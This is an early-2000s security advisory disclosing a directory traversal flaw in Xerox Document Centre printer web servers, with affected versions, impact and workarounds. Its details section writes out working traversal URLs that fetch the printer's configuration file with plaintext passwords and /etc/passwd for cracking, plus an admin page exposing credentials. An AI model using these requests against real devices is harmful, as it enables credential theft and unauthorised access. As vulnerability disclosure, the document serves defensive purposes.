CONTACT INFORMATION
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Name : J.A. Gutierrez
E-mail : spd (at) shiva.cps.unizar (dot) es [email concealed]

Reported this to the vendor on Mon Dec 15 2003 using feedback form
at http://www.xerox.com, since I couldn't find a security contact.

TECHNICAL INFO
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Vulnerable systems
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Xerox Document Centre 470, 255ST and maybe others.
Software : Xerox_MicroServer
Version : Xerox11 0.19.5.509
OS : LynxOS:E2.1_SMP.063.1:02/13/2003

Impact
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Remote access to files.
Access to plaintext passwords for the http administration interface.
Access to DES passwords for the operating system.
Read-write access to http users and passwords

Details
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Web server software (self-reports as "Xerox_MicroServer/Xerox11")
for Xerox hardware will return a binary dump of directories when
the requested URL ends with "/.." or "/."; so you can build easily
the directory/file tree from document root and get every file.

At first, you can't get back past document root, since httpd seems
to reject "../" if it would climb back too much:

GET /../.. -> "The request had invalid syntax."

But it does accept "../":

GET /assist/.. -> OK

So maybe it just counts "../" groups and compares the count
to the total number of "/" ? Let's try:

GET /assist/////.././../../. -> OK

Examples:

- http://xerox_dc_470.example.com/..

00 00 00 00 45 00 0c 00 01 2e 00 00 00 00 00 00 43 ...E...........C
10 00 0c 00 02 2e 2e 00 00 00 00 00 46 00 10 00 06 ...........F....
20 63 6f 6e 66 69 67 00 00 00 00 00 48 00 10 00 06 config.....H....
30 68 74 64 6f 63 73 00 00 00 00 02 26 00 10 00 04 htdocs.....&....
40 6a 6f 62 73 00 00 00 00 00 00 02 29 01 b8 00 04 jobs.......)....
50 6c 61 6e 67 00 00 00 00 00 00 00 00 00 00 00 00 lang............
60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

- http://xerox_dc_470.example.com////../../data/config/microsrv.cfg

and you get full configuration, including plain text passwords.

- http://xerox_dc_470.example.com////////../../../../../../etc/passwd

and you get a passwd file to run crack on

Even without having to use ".." you can get the plain text passwords
for the HTTP interface using

http://xerox_dc_470.example.com/srvadmin/usersecure.dhtml

From that page, you can even create new users; when you press
"Apply new settings" button prompts for admin password (the
same you just have read in that same page)

Probably you could use this to steal documents from the printer
queue, but I haven't verified this.

Note: to test this vulnerability do not use any "smart" http client
which will rewrite the URL internally to suppress '../' parts.

Workaround
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- Disable http interface.
- Restrict access permissions to trusted hosts

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--
finger spd (at) shiva.cps.unizar (dot) es [email concealed] for PGP /
.mailcap tip of the day: / La vida es una carcel
application/ms-tnef; cat '%s' > /dev/null / con las puertas abiertas
text/x-vcard; cat '%s' > /dev/null / (A. Calamaro)

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